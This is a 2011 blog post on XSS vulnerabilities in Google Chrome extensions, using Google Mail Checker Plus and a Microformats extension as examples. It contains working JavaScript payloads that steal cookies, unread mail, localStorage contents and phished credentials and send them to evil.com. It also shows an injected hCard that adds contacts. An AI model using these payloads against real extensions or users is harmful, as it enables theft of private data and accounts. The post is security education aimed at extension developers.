Web application vulnerabilities in context of browser extensions

Posted on 18 January 2011 in misc

Intro

Current days Google Chrome web browser becomes more and more popular. It is really fast, easy-to-use and in same time powerful browser. I will not write about whole security architecture of Chrome. There is a good article about it by Larry Seltzer called "Google's Chrome Extensions Show Security Focus". Let's focus our attention on Chrome extensions platform. Like Mozilla Firefox Chrome supports extensions or addons, which makes your web surfing with it more comfortable.

What are extensions in Google Chrome browser? Extensions are small software programs that can modify and enhance the functionality of the Chrome browser. Developers writes them using well-know web technologies such as HTML, JavaScript (including HTML5 features) and CSS. Using of such technologies of course makes developing ease. But what security risks they will bring to us?

XSS

Lets look on popular (18,368 installations per week) extension called "Google Mail Checker Plus". This extension simply displays the number of unread messages in your Gmail inbox, can make preview of mail and supports desktop notifications.

Mail preview in popup of Google Mail Checker Plus

On preview we can see at least subject, from and piece of body of letter. Ok, lets send to us self letter with subject like:

2"'><script src="http://evil.com/own.js"></script>

own.js is simple javascript demo payload:

document.body.innerHTML = '';
img = new Image();
img.src = 'http://evil.com/stallowned.jpg';
document.body.appendChild(img);

For the first we see such notification:

XSS in Google Mail Checker Plus notification part

For the second we click on extension's icon and see our worked payload in popup window:

XSS in Google Mail Checker Plus

It works! By the way this XSS has been already reported by Lostmon in June 03, 2010 and fixed version of extension is available. Lostmon wrote that:

"All extensions runs over his origin and no have way to altered data from extension or get sensitive data like , email account or password etc.."

Let's discover this web vulnerability in context of this extension to understand risks.

Cookies

Authentication data stored in cookie's is popular target for XSS attacks. But extension scripts works in its own origin so extension can't directly access cookie by using document.cookie object. It needs to use special cookies API and have permissions for this purpose and for target hosts. For example (piece of manifest):

{
    "name": "My extension",
    ...
    "permissions": [
    "cookies",
    "*://*.google.com"
    ],
...
}

The risk occurs when extension have to much permissions, e.g. cookies and big number of hosts in manifest. In such case XSS vulnerability will become more dangerous because evil payload will gain access to cookies of all these allowed hosts using cookies API like this:

chrome.cookies.getAll({}, function(cookies) {
    var dump = 'COOKIES: ';
    for (var i in cookies) {
        dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
    }
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg?' + dump;
    document.body.appendChild(img);
});

Browser data as target and permissions

In previous section was described a risk when through XSS attack on extension in particular cases (special permissions must be granted) malicious man can gain access to cookies from different sites. It concerns and such things like bookmarks, history and other things which can be granted in permissions section of manifest file and can be accessed through chrome API! There for XSS in such extension can lead compromise user's desktop sensitive data and this risk strongly depends on how much permissions does extension have.

Gmail's External content control bypass

It is of course not critical risk but if malicious man can execute arbitrary JavaScript code in concrete letter he can inject e.g. IMG tag and see that the image is being fetched. Therefore he will know when you will have read the message even if you have switched off displaying of external content.

Message data theft

It is much worse risk! Imagine that you will receive such payload

var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length) { 
    if (e[i].className == 'openLink') {
        dump += e[i].innerText + ' | ';
    }
    i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Yes, this is simple code for dumping unread messages and malicious man can get your mail private data from popup HTML document: senders, subjects, pieces of message body! I see your scared look =)

Extension settings leakage

Extensions can save sensitive data (commonly settings) using the HTML5 web storage API (such as localStorage) which is supported in Google Chrome. Yes, it is unlikely but not impossible. For example extension with bad architecture can store there some account information. Dumping such data is trivial task:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ ) {
    dump += "KEY: " + localStorage.key(i);
    dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Phishing

As already I said extension can't directly access cookies data. Stealing of authentication data by XSS in such case is not so trivial but malicious man can simply use phishing technique and ask user to submit this data him self! ::

var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;

This image looks ugly but don't forget that it simple PoC.

Phishing attack vector

JSON data leakage

JSON is a lightweight data-interchange format and it is mostly used in AJAX web applications in client-server data interchange. There are at least 2 security issues:

  1. Usage of eval() JavaScript function to parse received untrusted/not controlled JSON data. Google developers gives advance notice in Security considerations about this risk in developer's guide.

  2. This less obvious but interesting problem called JavaScript hijacking. If JSON(P) is used to carry sensitive data in insecure way it can lead a data leakage. In context of extension it is common as for usual AJAX web application - there is no differences. Malicious man can sniff and discover client-server data exchange of extension. And if he find insecure usage of JSON(P) he will have opportunity to attack users and steal their sensitive data.

Content scripts

For example, you want to change color theme of some page which you visits to your own colors. Another good example is surrounding all plain-text URLs on the page with A HTML tag. There is thing for such purposes called content scripts. A content script is some JavaScript that executes in the context of a page (not extension) that's been loaded into the browser. So these content scripts can read and modify data on the page.

Content scripts are very limited in chrome APIs and can't:

  • Use chrome.* APIs (except for parts of chrome.extension)
  • Use variables or functions defined by their extension's pages
  • Use variables or functions defined by web pages or by other content scripts
  • Make cross-site XMLHttpRequests

But content scrips can communicate with parent extension by exchanging messaging. Because content scrips can read and modify web pages we have at least 2 risks:

  1. Bad coded content script can add vulnerability (e.g. XSS) to the page by modifying content of it
  2. Bad page can attack extension

Lets look into follow piece of HTML code (it is popular hCard microformat):

<div class="vcard">
   <div class="fn">James Bond</div>
   <div class="org">MI-6</div>
   <div class="tel">604-555-1234</div>
   <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
 </div>

If we visit page with such demo code and have Microformats extension installed, this extension will try to parse it and show it to us:

Attack on Microformats extension (using content scripts)

As you can see malicious code is executed. What are risks? This extension connects with your Google account by OAuth and have access to your Google Contacts. This simple code $(".submithcard").click() will add evil contact to your Google contacts. One more interesting thing in this case is by default content scripts can only communicate with parent extension through messages and in this case we can see how evil payload can be passed from content script to popup action. In popup action we can do much more.

Outro

Google Chrome has really good extension's architecture and Google developers gives enough possibilities to create full-featured and secure extensions. In same time we can see very interesting thing when chosen technologies (HTML, CSS and JavaScript) brings (ok, not technologies but unclever extension's authors:) with them self such security problem like XSS to your desktop. And risks from XSS in such case can be much dangerous then in usual web application. So it is highly recommended to all extension's developers to read "Security considerations" sections in Developer's Guide.